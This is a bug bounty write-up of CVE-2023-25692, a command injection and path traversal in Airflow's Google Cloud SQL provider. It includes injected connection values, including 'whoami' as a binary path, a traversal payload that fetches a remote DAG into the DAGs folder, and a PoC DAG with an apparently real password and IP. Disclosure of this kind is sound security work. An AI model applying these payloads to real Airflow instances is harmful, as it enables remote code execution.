# CVE-2023-25692: Apache Airflow Google Provider: Google Cloud Sql Provider Denial Of Service and Remote Command Execution

Airflow Google provider passed unsanitized connection Extra fields (sql_proxy_version, sql_proxy_binary_path) into cloud_sql_proxy download/exec, enabling command injection and path traversal file write.

- Payout: $480
- Severity: low
- Program: Internet Bug Bounty
- Found by (vendor credit): Xie Jianming of Caiji Sec Team
- Found by: sw0rd1ight
- Disclosed: 2023-04-16
- CVE: CVE-2023-25692
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1895316
- Library page: https://bugbountylibrary.com/r/h1%3A1895316
- Tags: area:cloud domain:infra impact:dos impact:integrity impact:rce kind:bounty platform:hackerone sev:low tech:python technique:source-review vuln:command-injection vuln:path-traversal vuln:rce

**Target:** Apache Airflow apache-airflow-providers-google CloudSQLExecuteQueryOperator / Google Cloud SQL connection
**Root cause:** The provider built the cloud_sql_proxy download URL and binary path from user-controlled connection Extra fields without validating sql_proxy_version or sql_proxy_binary_path, allowing URL path traversal and arbitrary command execution.
**Steps:**
1. Create Airflow connection 'aaa' with Extra: `sql_proxy_version="?a="`, `sql_proxy_binary_path="whoami"`, use_proxy=True, sql_proxy_use_tcp=True
2. Create DAG using `CloudSQLExecuteQueryOperator(gcp_cloudsql_conn_id="aaa", ...)` and enable it
3. Run DAG; observe `whoami` output in task logs (RCE)
4. For file write: set `sql_proxy_version="../swordlight/load_my_evil_dag.py?a="` and `sql_proxy_binary_path="/../../../opt/airflow/dags/load_my_evil_dag.py"`
5. Run DAG; proxy downloads https://storage.googleapis.com/swordlight/load_my_evil_dag.py and writes it to /opt/airflow/dags/
6. Airflow auto-loads the new DAG; run it to execute BashOperator (`mkdir /tmp/success`)
**How found:** Researcher inspected how the Google Cloud SQL provider constructs the cloud_sql_proxy download URL and binary path from connection Extra fields, noticed sql_proxy_version and sql_proxy_binary_path were unsanitized, and tested injecting shell metacharacters and path traversal sequences.
**Exploitation:** Attacker with access to edit Airflow connection config (unauthenticated Airflow) sets malicious Extra fields; when any DAG using CloudSQLExecuteQueryOperator runs, the provider invokes cloud_sql_proxy with attacker-controlled binary path/version, executing arbitrary commands or downloading attacker-hosted files into the DAGs directory for persistent code execution.
**Escalation:** Chained command injection into arbitrary file write to /opt/airflow/dags, yielding persistent DAG-based RCE and DoS.
**Insight:** When a provider shells out to an external binary, audit every connection field that feeds the command line or download URL—especially version/path fields—for shell metacharacter and `../` traversal; the `?a=` trick forces the URL suffix to be treated as query so traversal in the path segment survives.

## Proof of concept (copied exactly from the original report)

**Malicious connection Extra with sql_proxy_binary_path command**

```
{
  "project_id":"pivotal-gearing-375804",
  "instance":"hellopg",
  "location":"us-central1-b",
  "database_type":"postgres",
  "use_proxy":"True",
  "use_ssl":"False",
  "sql_proxy_use_tcp":"True",
  "sql_proxy_version":"?a=",
  "sql_proxy_binary_path":"whoami",
  "sslcert":"",
  "sslkey":"",
  "sslrootcert":""
}
```

**DAG using CloudSQLExecuteQueryOperator with malicious conn**

```
from __future__ import annotations

import os
import subprocess
from datetime import datetime
from os.path import expanduser
from urllib.parse import quote_plus

from airflow import models
from airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator


SQL = [
    "CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)",
    "CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)",  # shows warnings logged
    "INSERT INTO TABLE_TEST VALUES (0)",
    "CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)",
    "DROP TABLE TABLE_TEST",
    "DROP TABLE TABLE_TEST2",
]


postgres_kwargs = dict(
    user="postgres",
    password=r"ktd2(%EzQ5",
    public_port="5432",
    public_ip="34.122.52.6",
    project_id="pivotal-gearing-375804",
    location="us-central1-b",
    instance="hellopg",
    database="postgres",
    client_cert_file="key/postgres-client-cert.pem",
    client_key_file=".key/postgres-client-key.pem",
    server_ca_file=".key/postgres-server-ca.pem",
)


# Postgres: connect via proxy over TCP
os.environ["AIRFLOW_CONN_PROXY_POSTGRES_TCP"] = (
    "gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?"
    "database_type=postgres&"
    "project_id={project_id}&"
    "location={location}&"
    "instance={instance}&"
    "use_proxy=True&"
    "sql_proxy_use_tcp=True".format(**postgres_kwargs)
)

connection_names = [
    "proxy_postgres_tcp",
]

with models.DAG(
    dag_id="example_gcp_sql_query",
    start_date=datetime(2021, 1, 1),
    catchup=False,
    tags=["example"],
) as dag:
    prev_task = None


    task = CloudSQLExecuteQueryOperator(
        gcp_cloudsql_conn_id="aaa",gcp_conn_id="proxy_postgres_tcp",task_id="example_gcp_sql_task_proxy_postgres_tcp" , sql=SQL
    )
```

